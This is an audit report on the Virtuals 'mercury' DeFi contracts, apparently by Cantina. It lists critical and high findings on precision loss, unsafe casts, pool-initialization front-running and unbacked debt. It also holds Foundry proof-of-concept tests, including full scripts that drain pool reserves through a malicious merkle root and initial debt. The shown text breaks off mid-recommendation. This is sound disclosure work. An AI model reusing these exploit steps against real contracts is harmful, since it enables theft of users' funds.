Virtuals: 0x Baseline

Security Review

Cantina Managed review by:
LonelySloth, Lead Security Researcher
Om Parikh, Security Researcher

May 15, 2026

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

From Nov 4th to Nov 20th the Cantina team conducted a review of mercury on commit hash 67bb8a50. The team identified a total of **28** issues:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	5	5	0
High Risk	5	5	0
Medium Risk	2	2	0
Low Risk	9	5	4
Gas Optimizations	1	1	0
Informational	6	4	2
Total	**28**	**22**	**6**

2.1 Scope

The security review had the following components in scope for mercury on commit hash 67bb8a50:

```
src
├── BToken.sol
├── Component.sol
├── Relay.sol
├── components
│   ├── BController.sol
│   ├── BCredit.sol
│   ├── BFactory.sol
│   ├── BHook.sol
│   ├── BLens.sol
│   ├── BStaking.sol
│   └── BSwap.sol
├── libraries
│   ├── CollateralLib.sol
│   ├── CurveLib.sol
│   ├── FeeLib.sol
│   ├── NativeLib.sol
│   ├── NormalizeLib.sol
│   ├── StateLib.sol
│   ├── SweepLib.sol
│   └── VaultLib.sol
└── utils
    └── ConfigScript.sol
```

3 Findings

3.1 Critical Risk

3.1.1 Intrinsically ill-conditioned expressions in CurveLib lead to loss of funds

Severity: Critical Risk

Context: CurveLib.sol#L142

Description: The curve mathematics used in `CurveLib` depends heavily on calculating ratios between differences between prices, or other amounts that suffer from loss of precision.

Such as:

1. $K = P_{blv} \times (P_0 - P_{\text{book}})/((P_{\text{book}} - P_{\text{blv}}) \times c_0)$ in `quoteTokensForReservesOut`.
2. bufferPremiumRatio $= (P_0 - P_{\text{blv}})/(P_{\text{book}} - P_{\text{blv}})$ in `getBookPremiumRatio`, `quoteTokensForReservesOut`.
3. averageExecutionPrice $=$ (snapshotReserves $-$ poolReserves)/(poolTokens $-$ snapshotSupply) in `getSafePriceAsk`.
4. liquidityAdjustedPrice $=$ averageExecutionPrice $\times$ (snapshotSupply $-$ offsetSupply)/(poolTokens $-$ offsetSupply) in `getSafePriceAsk`.
5. premiumRatio $=$ (activePrice $-$ blvPrice)/(bookPrice $-$ blvPrice) in `getBufferConvexity`.
6. blvPrice $=$ (caledBookPrice $-$ activePrice)/(targetConvexity -1) in `solveBlvForConvexity`.
7. offset $=$ (benchmarkContribution $-$ currentContribution)/(reserveDeficit $-$ tokenGainValue) in `solveOffsetForBenchmark`.
8. \text{safePriceBid} = (\text{firstTerm} - \text{secondTerm}) / (\text{feeTimesBook} - \text{sDelta})$ in `getSafePriceBid`.

In general expressions of the form.

$$(a - b)/(c - d)$$

Are intrinsically ill-conditioned as `a` $\to$ `b` and `c` $\to$ `d`. Meaning there is no way to calculate such expression with a given precision as the differences approach the minimal unit (`1e-18`).

What is problematic is that there isn't any guarantee that prices can't be arbitrarily close.

Notice that even with real numbers, as `c` $\to$ `d` (while a, b are fixed) this approaches infinity.

The limit when both `a` $\to$ `b` and `c` $\to$ `d` **diverges** unless we assume some ratio between the rate.

In our fixed point calculations price differences suffer from *Catastrophic Cancellation*, meaning the differences will have low precision even if the prices themselves are large but close to each other. In practice this leads to drastic errors in the end result. For example let's assume we are calculating *K* with *P0 - P_book = 1*.

Then

$$K = P_{\text{blv}} \times (1)/((P_{\text{book}} - P_{\text{blv}}) \times c_0)$$

But if P_{book} itself is rounded down, then $P_0 - P_{\text{book}} = 2$ and

$$K' = P_{\text{blv}} \times (1 + 1)/((P_{\text{book}} - P_{\text{blv}}) \times c_0)$$

So

$$K' = 2K$$

For the function `quoteTokensForReservesOut` (which does round down P_{book}), the end result is that **half as many tokens are required to buy the same amount of reserves. So a simple rounding error can allow an attacker to pay half price, which could lead to emptying the pools.

(See the proof of concept for practical examples).

While a practical exploit was found for `quoteTokensForReservesOut`, that doesn't mean other functions can't be exploited. And even if it's not exploitable in the sense of letting an attacker extract more tokens that they should, it's likely possible to force the pool into an incorrect state. Ironically, if prices are very close calculating the ratios (correctly) makes very little difference -- convexity is close to zero. For example in `quoteTokensForReservesOut` we have the special cases:

```
// Zero-convexity fallback when book price is at or below baseline
if (bookPrice <= _params.blvPrice) return _reservesOut.divWadUp(bookPrice);

// Zero-convexity fallback when active price is at or below book
if (_params.activePrice <= bookPrice) return _reservesOut.divWadUp(bookPrice);
```

It is clear that the expected behaviour is that the result will converge to using the `bookPrice` rather than diverge or approach infinity as prices approach each other.

Proof of Concept:

```
function test_quoteTokensForReservesOut_debug1() public {

    uint activePrice = 1e18;
    uint poolReserves = 100 ether;
    uint totalSupply = 400 ether + 100;
    uint poolTokens =  300 ether;
        CurveParams memory params = CurveParams({
            poolTokens: poolTokens,
            poolReserves: poolReserves,
            totalSupply: totalSupply,
            activePrice: activePrice,
            blvPrice: activePrice - 1e16,
            offsetSupply: 0,
            swapFee: 0
        });

        uint256 reservesOut = 1 ether;
        uint256 tokensIn = CurveLib.quoteTokensForReservesOut(params, reservesOut);

        // book price (round down)
        assertEq(999999999999999999, (WAD * poolReserves) / (totalSupply - poolTokens));

        assertEq(tokensIn, 1000000000000000002);
    }



    function test_quoteTokensForReservesOut_debug2() public {

    uint activePrice = 1e18;
    uint poolReserves = 100 ether;
    uint totalSupply = 400 ether + 101;
    uint poolTokens =  300 ether;
        CurveParams memory params = CurveParams({
            poolTokens: poolTokens,
            poolReserves: poolReserves,
            totalSupply: totalSupply,
            activePrice: activePrice,
            blvPrice: activePrice - 1e16,
            offsetSupply: 0,
            swapFee: 0
        });
```

```
        uint256 reservesOut = 1 ether;
        uint256 tokensIn = CurveLib.quoteTokensForReservesOut(params, reservesOut);

        // book price (round down)
        assertEq(999999999999999998, (WAD * poolReserves) / (totalSupply - poolTokens));

        assertEq(tokensIn, 666666666666666667);
    }

    function test_quoteTokensForReservesOut_debug3() public {

    uint activePrice = 1e18;
    uint poolReserves = 100 ether;
    uint totalSupply = 400 ether + 1e8;
    uint poolTokens =  300 ether;
        CurveParams memory params = CurveParams({
            poolTokens: poolTokens,
            poolReserves: poolReserves,
            totalSupply: totalSupply,
            activePrice: activePrice,
            blvPrice: activePrice - 1e16,
            offsetSupply: 0,
            swapFee: 0
        });

        uint256 reservesOut = 1 ether;
        uint256 tokensIn = CurveLib.quoteTokensForReservesOut(params, reservesOut);

        // book price (round down)
        assertEq(999999999999000000, (WAD * poolReserves) / (totalSupply - poolTokens));

        assertEq(tokensIn, 99999994949750026);
    }


    function test_quoteTokensForReservesOut_debug4() public {

    uint activePrice = 1e18;
    uint poolReserves = 100 ether;
    uint totalSupply = 400 ether + 1e12;
    uint poolTokens =  300 ether;
        CurveParams memory params = CurveParams({
            poolTokens: poolTokens,
            poolReserves: poolReserves,
            totalSupply: totalSupply,
            activePrice: activePrice,
            blvPrice: activePrice - 1e16,
            offsetSupply: 0,
            swapFee: 0
        });

        uint256 reservesOut = 1 ether;
        uint256 tokensIn = CurveLib.quoteTokensForReservesOut(params, reservesOut);

        // book price (round down)
        assertEq(999999990000000099, (WAD * poolReserves) / (totalSupply - poolTokens));

        assertEq(tokensIn, 1000000000050505002);
    }
```

Recommendation: The domain range where the calculations are ill-conditioned must be tested and an alternative calculation must be used.

In the case of `quoteTokensForReservesOut` the obvious solution seems to be something like:

```
// Zero-convexity fallback when book price is at or below baseline
if (bookPrice - _params.blvPrice <= 1e9) return _reservesOut.divWadUp(bookPrice);

// Zero-convexity fallback when active price is at or below book
if (_params.activePrice - bookPrice <= 1e9) return _reservesOut.divWadUp(bookPrice);
```

Which would produce an error of at most 1e-9 rather than up to 50% with the ill-conditioned expression.

Note that the same must be done for all calculations that require calculations of price differences (most quotes and price calculations).

Virtuals: Fixed in PR 110.

Cantina Managed: PR 110 adds epsilon (`EPS`) guard checks throughout `CurveLib` to avoid ill-conditioned domains — specifically in `quoteTokensForReservesOut` , `solveOffsetForBenchmark` , and `getSafePriceBid` — falling back to zero-convexity pricing when price differences are too small to compute accurately.

3.1.2 Multiple unsafe casts can lead to integer overflow, loss of funds

Severity: Critical Risk

Context: BSwap.sol#L211

Description: Multiple parts of the code base utilize unsafe casting between integer types, in particular between `uint256` and `int256` . It's important to note that Solidity safe math checks don't check explicit casting, which can result in truncation or overflow depending on the specific conversions.

For example, in BSwap.sol:

```
function sellTokens(
    BToken _bToken,
    uint256 _tokensIn,
    uint256 _minReservesOut
) external returns (uint256 userReservesOut_, uint256 fee_) {

    uint256 nextPrice;
    (userReservesOut_, fee_, nextPrice) = computeSellTokens(_bToken, _tokensIn);
    if (userReservesOut_ < _minReservesOut) revert SlippageExceeded();

    _recordSwap(
        _bToken,
        int256(_tokensIn),
        -int256(userReservesOut_),
        fee_,
        nextPrice
    );
}
```

The parameter `_tokensIn` is provided as a `uint256` and directly cast to an `int256` which could have negative value, leading to incorrect calculations, and potentially settlement giving tokens to caller rather than executing `transferFrom` .

Similarly in `NormalizeLib.sol` :

```
unction toWadSigned(int256 _amount, uint8 _decimals) internal pure returns (int256) {
    if (_amount == 0) return 0;
    uint256 mag = _amount < 0 ? uint256(-_amount) : uint256(_amount);
    uint256 wadMag = normalizeWad(mag, _decimals);
    return _amount < 0 ? -int256(wadMag) : int256(wadMag);
}
```

Magnitude value is cast to `uint256` , potentially multiplied by a factor (meaning it could now exceed the maximum allowed value for `int256`) then cast back to `int256` . The end result can have the opposite

sign as the input, leading potentially to many incorrect calculations or even settlement. However this function doesn't seem to be used.

While precise exploit paths haven't been tested, it's extremely likely at least one of the unsafe casts lead to loss of funds in certain scenarios. In the worst case there are multiple paths to loss of funds in a wide range of scenarios.

Here is a (non-exhaustive) list of additional uses of unsafe casting:

- NormalizeLib.sol.
- BCredit.sol.
- BLens.sol comment 1.
- BLens.sol comment 2.
- VaultLib.sol.
- BSwap.sol.

Proof of Concept:

```
function test_unsafe_cast_debug1() public {

    uint256 y = type(uint256).max;

    int256 x = int256(y);

    assertLt(x, 0);

}
```

Recommendation: All casts between numerical types should use the OZ SafeCast library (`toInt256` etc...).

Virtuals: Fixed in PR 106.

Cantina Managed: PR 106 replaces all unsafe casts identified above with safe equivalents; a broader search found no additional instances.

3.1.3 Lack of validation in `BHook.beforeInitialize` allow front running the pool initialization permanent DoS

Severity: Critical Risk

Context: BHook.sol#L67

Description: Since anyone can initialize a pool and the key is deterministic based on the parameters, and there are no validations in `BHook.beforeInitialize` , a malicious user could front-run a pool creation without properly setting the state in `BHook` .

The effect is that the pool will not be properly initialized and unusable, but it's impossible to re-initialize it as that isn't allowed by Uniswap.

Effectively this permanently DoSs pool creation. Since the key is deterministic the front run can happen even before the create pool transaction is created -- or potentially even before the BToken is created.

Recommendation: This function should check if the pool is being initialized by the factory -- only callable by the PoolManager and check the msg.sender passed by the PoolManager matches the BHook address.

Virtuals: Fixed in BHook.sol#L73.

Cantina Managed: The patched `beforeInitialize` validates that the caller is the `BHook` contract itself, preventing arbitrary pool initializations. Note that an alternative approach — always reverting in `beforeInitialize` — would also work, since the `PoolManager` does not invoke the hook's `beforeInitialize` when `msg.sender` is the hook.

3.1.4 All reserves can be stolen by arbitrary token with claim merkle root

Severity: Critical Risk

Context: *(No context files were provided by the reviewer)*

Description: when creating a pool from `bFactory`, it allows adding in a merkle root for pre-adding positions. initially, until users claim, the position stays on `address(this)`.

However, the `intialCollateral` it uses for opening position on `address(this)` is unbacked because it is double spent. It is first used as `pool.totalBTokens` and then in credit system but is taken from creator only once.

Due to this, it allows stealing of reserves by claiming position and borrowing reserves from same BToken pool as well as also draining reserves of other pool using same reserve.

Proof of Concept:


```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {TestFoundation} from "test/TestFoundation.sol";
import {console2} from "forge-std/console2.sol";

import {Merkle} from "murky/src/Merkle.sol";

import {BCredit} from "src/components/BCredit.sol";
import {BStaking} from "src/components/BStaking.sol";
import {BSwap} from "src/components/BSwap.sol";
import {BLens} from "src/components/BLens.sol";
import {BToken} from "src/BToken.sol";
import {BFactory} from "src/components/BFactory.sol";
import {BController} from "src/components/BController.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {MockWeth} from "test/utils/MockWETH.sol";

/**
 * @title BCreditMerkleRootDrainPOC
 * @notice POC demonstrating how a malicious pool with a merkle root can drain reserves
 ↪  from another pool
 *
 * Attack Vector:
 * 1. Create Pool 1 (standard pool) with WETH reserves - these reserves are stored in the
 ↪  contract
 * 2. Create Pool 2 (malicious pool) with the same WETH reserve and a merkle root
 ↪  containing positions
 *    with lots of collateral and zero debt
 * 3. Claim credit in Pool 2 - this gives you collateral but zero debt
 * 4. Borrow from Pool 2 - since you have collateral, you can borrow. The pool will try
 ↪  to give you reserves,
 *    and if Pool 2 doesn't have enough reserves, it will pull from the shared reserve
 ↪  token balance
 *    (which includes Pool 1's reserves)
 *
 * The vulnerability exists because:
 * - Both pools share the same reserve token (WETH)
 * - Reserves are stored in the contract's balance (not in a vault)
 * - `giveReserves` transfers from the contract's balance without checking which pool the
 ↪  reserves belong to
 * - When Pool 2 borrows, it can drain reserves that were deposited for Pool 1
 */
contract BCreditMerkleRootDrainPOC is Test, TestFoundation {
    // Pool 1 - Standard pool without merkle root
```

```
BToken public bToken1;
MockERC20 public reserve1; // WETH

// Pool 2 - Malicious pool with merkle root
BToken public bToken2;
MockERC20 public reserve2; // Same WETH as Pool 1

// Attacker
address public attacker;

// Merkle tree for Pool 2
Merkle public merkle;

function setUp() public {
    super._setUp();

    attacker = makeAddr("attacker");

    // Deploy merkle tree helper
    merkle = new Merkle();

    // Create Pool 1 - Standard pool with WETH reserves
    _createPool1();
    console2.log("Pool 1 created");

    // Create Pool 2 - Malicious pool with merkle root
    _createPool2();
    console2.log("Pool 2 created");
}

function test_MerkleRootDrainPOC() public {
    console2.log("=== POC: Merkle Root Reserve Drain Attack ===\n");
    assertEq(address(reserve1), address(reserve2), "Reserves should be the same");

    uint256 pool1ReservesBefore = bLens.totalReserves(bToken1);
    uint256 pool2ReservesBefore = bLens.totalReserves(bToken2);
    uint256 contractWethBalanceBefore = reserve1.balanceOf(address(proxy));

    console2.log("Initial State:");
    console2.log("  Pool 1 reserves:", pool1ReservesBefore);
    console2.log("  Pool 2 reserves:", pool2ReservesBefore);
    console2.log("  Contract WETH balance: (includes 200k from super.setup)",
    ↪  contractWethBalanceBefore);
    console2.log("");

    uint128 maliciousCollateral = 400_000 ether;
    uint128 maliciousDebt = 0;

    bytes32[] memory data = new bytes32[](2);
    data[0] = keccak256(
        bytes.concat(
            keccak256(
                abi.encode(attacker, abi.encode(maliciousCollateral, maliciousDebt))
            )
        )
    );
    data[1] = keccak256(
        bytes.concat(
            keccak256(
                abi.encode(makeAddr("dummy"), abi.encode(uint128(0), uint128(0)))
            )
        )
    );
    bytes32 root = merkle.getRoot(data);

    bytes32[] memory proofs = merkle.getProof(data, 0);
```

```
        console2.log("Step 1: Attacker claims credit in Pool 2");
        console2.log("  Collateral claimed:", maliciousCollateral,
        ↪  weth.balanceOf(attacker));
        console2.log("  Debt claimed:", maliciousDebt);

        vm.prank(attacker);
        bCredit.claimCredit(bToken2, maliciousCollateral, maliciousDebt, proofs);

        (uint256 attackerCollateral, uint256 attackerDebt) =
        ↪  bLens.creditAccount(bToken2, attacker);
        assertEq(attackerCollateral, maliciousCollateral, "Attacker collateral
        ↪  mismatch");
        assertEq(attackerDebt, 0, "Attacker should have zero debt");

        console2.log("  Attacker collateral:", attackerCollateral);
        console2.log("  Attacker debt:", attackerDebt);

        uint256 maxBorrow = bCredit.getMaxBorrow(bToken2, attacker);

        console2.log("Step 2: Attacker borrows from Pool 2");
        console2.log("  Max borrow available:", maxBorrow);

        uint256 attackerWethBefore = reserve1.balanceOf(attacker);
        uint256 pool1ReservesBeforeBorrow = bLens.totalReserves(bToken1);
        uint256 pool2ReservesBeforeBorrow = bLens.totalReserves(bToken2);

        vm.prank(attacker);
        bCredit.borrow(bToken2, maxBorrow, attacker);

        uint256 attackerWethAfter = reserve1.balanceOf(attacker);
        uint256 contractWethAfter = reserve1.balanceOf(address(proxy));

        assertLt(contractWethAfter, contractWethBalanceBefore,
            "Contract WETH balance should have decreased");
        assertGt(attackerWethAfter, attackerWethBefore, "Attacker should have received
        ↪  WETH");

        console2.log("contractWethBalanceBefore", contractWethBalanceBefore);
        console2.log("contractWethAfter", contractWethAfter);
        console2.log("attackerWethAfter", attackerWethAfter);
        console2.log("attackerWethBefore", attackerWethBefore);

        console2.log("=== POC Complete: Attack Successful ===");
    }

    function _createPool1() internal {
        vm.startPrank(protocolAdmin);

        bToken1 = new BToken("Pool1 Token", "P1", 18, 200_000 ether);
        bController.setDeployer(bToken1, tokenDeployer);
        bToken1.transfer(tokenDeployer, 200_000 ether);

        reserve1 = MockERC20(address(weth));

        vm.stopPrank();

        vm.startPrank(tokenDeployer);

        uint256 pool1BTokens = 200_000 ether;
        uint256 pool1Reserves = 200_000 ether;

        weth.mint(tokenDeployer, pool1Reserves);

        bToken1.approve(address(bFactory), type(uint256).max);
        reserve1.approve(address(bFactory), pool1Reserves);
```

```
        bFactory.createPool(
            BFactory.CreateParams({
                bToken: bToken1,
                initialPoolBTokens: pool1BTokens,
                reserve: address(reserve1),
                vault: address(0), // No vault - reserves stored in contract
                initialPoolReserves: pool1Reserves,
                initialActivePrice: 1e18,
                initialBlvPrice: 0.98e18,
                creator: tokenDeployer,
                feeRecipient: tokenDeployer,
                creatorFeePct: 0.5 ether,
                swapFeePct: 0.003 ether,
                createHook: false,
                claimMerkleRoot: bytes32(0), // No merkle root
                initialCollateral: 0,
                initialDebt: 0
            })
        );

        vm.stopPrank();
    }

    function _createPool2() internal {
        vm.startPrank(protocolAdmin);

        uint256 additionalInitialCollateral = 400_000 ether;
        uint256 additionalInitialDebt = 0;

        bToken2 = new BToken("Pool2 Token", "P2", 18, 200_000 ether +
        ↪  additionalInitialCollateral);
        bController.setDeployer(bToken2, tokenDeployer);
        bToken2.transfer(tokenDeployer, 200_000 ether + additionalInitialCollateral);

        reserve2 = MockERC20(address(weth));

        vm.stopPrank();



        bytes32[] memory data = new bytes32[](2);
        data[0] = keccak256(
            bytes.concat(
                keccak256(
                    abi.encode(attacker, abi.encode(additionalInitialCollateral,
                    ↪  additionalInitialDebt))
                )
            )
        );

        data[1] = keccak256(
            bytes.concat(
                keccak256(
                    abi.encode(makeAddr("dummy"), abi.encode(uint128(0), uint128(0)))
                )
            )
        );

        bytes32 root = merkle.getRoot(data);

        vm.startPrank(tokenDeployer);


        uint256 pool2BTokens = 200_000 ether;
        uint256 pool2Reserves = 200_000 ether;
```

```
        weth.mint(tokenDeployer, pool2Reserves);

        bToken2.approve(address(bFactory), pool2BTokens + additionalInitialCollateral);
        reserve2.approve(address(bFactory), pool2Reserves + additionalInitialDebt);

        bFactory.createPool(
            BFactory.CreateParams({
                bToken: bToken2,
                initialPoolBTokens: pool2BTokens,
                reserve: address(reserve2), // Same WETH as Pool 1
                vault: address(0), // No vault - reserves stored in contract
                initialPoolReserves: pool2Reserves,
                initialActivePrice: 1e18,
                initialBlvPrice: 0.98e18,
                creator: tokenDeployer,
                feeRecipient: tokenDeployer,
                creatorFeePct: 0.5 ether,
                swapFeePct: 0.003 ether,
                createHook: false,
                claimMerkleRoot: root, // Malicious merkle root
                initialCollateral: additionalInitialCollateral,
                initialDebt: additionalInitialDebt
            })
        );

        vm.stopPrank();
    }
}
```

Recommendation:

- Collateral added in pool + collateral added in credit should always be taken from pool creator.
- Add relevant test cases which fail before change and pass after.
- Stricter checks should be added to prevent global contagion. for e.g, by adding global tracking of balances. something like this can be experimented with in meta struct:

```
+
+     // Reserve balance tracking - tracks the actual (or minimum) present balance of
↪   each reserve token
+     // across all pools to ensure accounting integrity and prevent pools from using
+     // more reserves than are available in the protocol
+     // example of check when after withdrawing "amount": require(balances[reserve] -
↪   amount >= reserve.balanceOf(address(this)));
+     mapping(ERC20 reserve => uint256) balances;
  }
```

Virtuals: Fixed in BFactory.sol#L194.

Cantina Managed: Fix verified, contingent on the additional invariant checks noted in finding 19 also being applied.

3.1.5 Adding unbacked debt to system leads during pool creation leads to insolvency

Severity: Critical Risk

Context: *(No context files were provided by the reviewer)*

Description: When creating a pool, more reserves are created in system than taken from creator.

```
pool.totalReserves = params.initialPoolReserves + params.initialDebt;
//...

        if (params.initialCollateral > 0) {
```

```
//...
                credit.accounts[address(this)].debt = params.initialDebt.toUint128();
                credit.totalDebt += params.initialDebt.toUint128();
//...
        }
//...

 // transfer initial reserves from caller.
pool.takeReserves(msg.sender, params.initialPoolReserves);
```

- New reserves added: `params.initialPoolReserves + params.initialDebt`.
- Reserves taken from creator: `params.initialPoolReserves`.

Also, when `initialCollateral = 0`, following accounting path is not triggered:

```
// initialize the credit position if it exists
if (params.initialCollateral > 0) {
```

Due to this, when doing `BCredit.borrow`, it will use the reserves which is not owned by that respective BToken pool to loan out and lead to insolvency.

Proof of Concept:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Test} from "forge-std/Test.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {TestFoundation} from "test/TestFoundation.sol";
import {BLens} from "src/components/BLens.sol";
import {BCredit} from "src/components/BCredit.sol";
import {BStaking} from "src/components/BStaking.sol";
import {BFactory} from "src/components/BFactory.sol";
import {BToken} from "src/BToken.sol";
import {console2} from "forge-std/console2.sol";

contract BCreditInitialDebtNoCollateralPOC is Test, TestFoundation {
    address internal borrower;

    uint256 totalSupply = 400_000 ether;
    uint256 keepForSwap = 200_000 ether;
    uint256 initialPoolBTokens = totalSupply - keepForSwap;
    uint256 initialPoolReserves = 200_000 ether;

    uint256 initialDebt = 200_000 ether;
    uint256 initialCollateral = 0;

    function _deployProtocol() internal  override {
        originationFee = 0;
        super._deployProtocol();
    }

    function setUp() public {
        super._setUp();

        borrower = user;

        vm.startPrank(tokenDeployer);

        assertEq(reserve.balanceOf(address(tokenDeployer)), 0, "Reserve balanceOf
        ↪  tokenDeployer should be 0");
        reserve.mint(tokenDeployer, initialPoolReserves);
        reserve.approve(address(bFactory), initialPoolReserves);
```

```
        bToken = bFactory.createBToken("Test Token", "TEST", totalSupply, bytes32(0));
        bToken.approve(address(bFactory), type(uint256).max);

        poolKey = bFactory.createPool(
            BFactory.CreateParams({
                bToken: bToken,
                initialPoolBTokens: initialPoolBTokens,
                reserve: address(reserve),
                vault: address(0),
                initialPoolReserves: initialPoolReserves,
                initialActivePrice: 2e18,
                initialBlvPrice: 2e18,
                creator: tokenDeployer,
                feeRecipient: tokenDeployer,
                creatorFeePct: 0,
                swapFeePct: standardSwapFeePct,
                createHook: true,
                claimMerkleRoot: bytes32(0),
                initialCollateral: initialCollateral,
                initialDebt: initialDebt
            })
        );
        vm.stopPrank();
    }

    function test_initialDebtNoCollateral() public {
        uint256 totalReserves = bLens.totalReserves(bToken);
        uint256 totalDebt = bLens.totalDebt(bToken);
        uint256 totalCollateral = bLens.totalCollateral(bToken);

        assertEq(totalReserves, 400_000 ether, "Total reserves should include initial
        ↪  debt");
        assertEq(totalDebt, 0, "Total debt should be 0 (no credit account created)");
        assertEq(totalCollateral, 0, "Total collateral should be 0");

        console2.log("Reserve balanceOf system (includes 200k from super.setUp):",
        ↪  reserve.balanceOf(address(bFactory)));
        console2.log("Reserve balanceOf tokenDeployer",
        ↪  reserve.balanceOf(address(tokenDeployer)));

        console2.log("Total reserves:", totalReserves);
        console2.log("Total debt:", totalDebt);
        console2.log("Total collateral:", totalCollateral);

        vm.startPrank(tokenDeployer);

        bStaking.deposit(bToken, tokenDeployer, keepForSwap);
        uint256 maxBorrow = bCredit.getMaxBorrow(bToken, tokenDeployer);

        console2.log("Max borrow:", maxBorrow);
        bCredit.borrow(bToken, maxBorrow, tokenDeployer);

        (uint256 collateral, uint256 debt) = bLens.creditAccount(bToken, tokenDeployer);
        console2.log("Collateral:", collateral);
        console2.log("Debt:", debt);

        vm.stopPrank();

        console2.log("Reserve balanceOf system (includes 200k from super.setUp):",
        ↪  reserve.balanceOf(address(bFactory)));
        console2.log("Reserve balanceOf tokenDeployer",
        ↪  reserve.balanceOf(address(tokenDeployer)));
    }
}
```

Recommendation:

- Ensure all accounting is done correctly irrespective of `initialDebt` and `initialCollateral` being zero.
- Ensure no more debt is added to system than `P_BLV * initialCollateral`.
- Add relevant test cases which fail before change and pass after.
- To make system more stricter against cross pool insolvency risks, global tracking of reserves can be added. for e.g:

```
+
+     // Reserve balance tracking - tracks the actual (or minimum) present balance of
↪   each reserve token
+     // across all pools to ensure accounting integrity and prevent pools from using
+     // more reserves than are available in the protocol
+     // example of check when after withdrawing "amount": require(balances[reserve] -
↪   amount >= reserve.balanceOf(address(this)));
+     mapping(ERC20 reserve => uint256) balances;
  }
```

However, this will require more changes + uses more gas on each operation.

Virtuals: Fixed in BFactory.sol#L156.

Cantina Managed: The fix adds a `require` check in `BFactory.createPool` ensuring `totalDebt` does not exceed `blvPrice * totalCollateral`. A matching invariant check in `BCredit.claimCredit` is also needed to prevent claiming favorable positions from a maliciously constructed merkle root that could violate this invariant.

3.2 High Risk

3.2.1 DoS in `claimCredit` due to external debt repayment for `address(this)`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description:

```
function claimCredit(BToken _bToken, uint128 _collateral, uint128 _debt, bytes32[]
↪   calldata _proofs) public {
    //...
    // update the proxy credit account
    credit.accounts[address(this)].collateral -= _collateral;
    credit.accounts[address(this)].debt -= _debt;
    //...
```

in `claimCredit`, one gets the position described in merkle root stated while creating pool. However, debt repayment is permissionless and anyone can pay anyone's debt. so if someone repays for `address(this)`, some users might not be able to claim, as it will revert due to subtraction underflow.

Recommendation:

- Do not allow anyone to pay debt for `address(this)` externally.
- Add relevant test cases which fail before change and pass after.
- If needed, floor subtraction to zero should be used when decreasing debt in `claimCredit` with caution that overall soundness is not compromised.

Virtuals: Fixed in BCredit.sol#L303.

Cantina Managed: BCredit.sol#L303 adds a guard in `repay` that prevents any user from repaying the debt of `address(this)`, preserving the accounting consistency required by `claimCredit`.

3.2.2 Salt truncation in `createBToken` leads to DOS when deploying again for same sender

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: Deploying a token from the same `msg.sender` with a different `salt` fails, as the salt is ignored in truncation.

```
function test_saltTruncationCollision() public {
    bytes32 salt1 = bytes32("a");
    bytes32 salt2 = bytes32("b");
    assertNotEq(salt1, salt2, "diff salt");

    console.logBytes32(bytes32(abi.encode(creator, salt1)));
    console.logBytes32(bytes32(abi.encode(creator, salt2)));

    vm.startPrank(creator);

    bFactory.createBToken("Test Token", "TEST", 1_000_000 ether, salt1);
    bFactory.createBToken("Test Token", "TEST", 1_000_000 ether, salt2); // <-- this line
    ↪  reverts

    vm.stopPrank();
}
```

Recommendation: Consider hashing salt in `createBToken` and `precomputeBTokenAddress`.

```
- bToken_ = new BToken{salt: bytes32(abi.encode(msg.sender, _salt))}(_name, _symbol,
↪  BTOKEN_DECIMALS, _totalSupply);
+ bToken_ = new BToken{salt: keccak256(abi.encode(msg.sender, _salt))}(_name, _symbol,
↪  BTOKEN_DECIMALS, _totalSupply);
```

Virtuals: Fixed in BFactory.sol#L137.

Cantina Managed: Fix verified.

3.2.3 Loss of precision in intermediate steps in multiple calculations (divide before multiply)

Severity: High Risk

Context: CurveLib.sol#L121

Description: Almost every single quote and price calculation is comprised of multiple computation steps, each introducing rounding errors. For example, something like:

```
uint256 x = a.mulWad(b);
uint256 y = y.mulWad(c);
```

Always introduces compounded rounding errors as **every WAD multiplication or division incurs loss of precision due to division by WAD, which means successive WAD operations are equivalent to dividing before multiplying**.

In the expression above, if amount `c` is very large, then any rounding error introduced in the calculation of x will be further amplified. The same is true for errors in calculating c, when x is large.

As long as all intermediate factors in a product $f_0 \cdot f_1 \cdot f2 \cdot \cdots \cdot f_N$ are lower than 1, then any rounding error will be reduced in the final product.

As long as all intermediate factors are bounded to $f_i < 1 + e$, then rounding errors would be amplified at most to $(1 + e)^N$ which can be acceptable if N and e are small.

However that's not always the case, with many intermediate steps involving large amounts.

The integration with UniswapV4 also increases the chance of large inputs being used by an attacker due to flash accounting, increasing the risk of rounding errors being amplified to produce significant effects.

Recommendation: Mitigating those issues should include:

- Increasing precision in intermediate steps. For example 10^{38} (approximately 2^{128}) which would fit in 256-bit arithmetic but vastly reduce rounding errors. *Note that mixing base 2 and base 10 decimals at different steps would lead to unnecessary losses as not all numbers are exactly expressed in both.*
- Remove unnecessary intermediate rounding by combining operations with *mulDiv* operations. E.g. in `quoteTokensForReservesOut`:

```
// Compute buffer coefficient for discriminant formula
